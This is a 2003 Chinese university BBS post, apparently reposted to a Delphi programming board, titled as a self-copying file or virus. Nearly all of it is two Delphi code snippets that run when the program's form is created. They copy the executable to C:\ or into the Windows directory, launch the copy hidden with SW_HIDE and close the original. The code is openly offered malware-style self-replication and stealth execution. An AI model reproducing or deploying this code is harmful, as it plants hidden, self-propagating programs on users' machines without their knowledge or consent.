● [zl]Delphi自我复制文件(病毒) - 荔园在线 | 深圳大学学生论坛,荔园晨风BBS,深大在线网站

荔园之美，在春之萌芽，在夏之绽放，在秋之收获，在冬之沉淀

发信人: oopilix (优雅的), 信区: Visual
标  题: [zl]Delphi自我复制文件(病毒)
发信站: 荔园晨风BBS站 (Thu Jul 10 21:07:46 2003), 站内信件

procedure TForm1.FormCreate(Sender: TObject);
var
  s:Pchar;
begin
  s:= Pchar(Application.ExeName);
  copyfile(s, 'c:\a.exe', true);
end;
///////////////////////////////////////
procedure TFORM1.FORMCreate(Sender: TObject);
var myname: string;
begin
myname := ExtractFilename(Application.Exename); //获得文件名
if application.Exename < >　GetWindir + myname then //如果文件不是在
Windows\System\那么..
begin
copyfile(pchar(application.Exename), pchar(GetWindir + myname), False);{将自己拷
贝到Windows\System\下}
Winexec(pchar(GetWindir + myname), sw_hide);//运行Windows\System\下的新文件
application.Terminate;//退出
end;
end;

--

※ 虚拟IP来源:·荔园晨风BBS站 bbs.szu.edu.cn·[FROM:210.39.255.255]

※ 来源:·荔园晨风BBS站 bbs.szu.edu.cn·[FROM: 61.144.235.40]

荔园在线首页友情链接：深圳大学深大招生荔园晨风BBS S-Term软件网络书店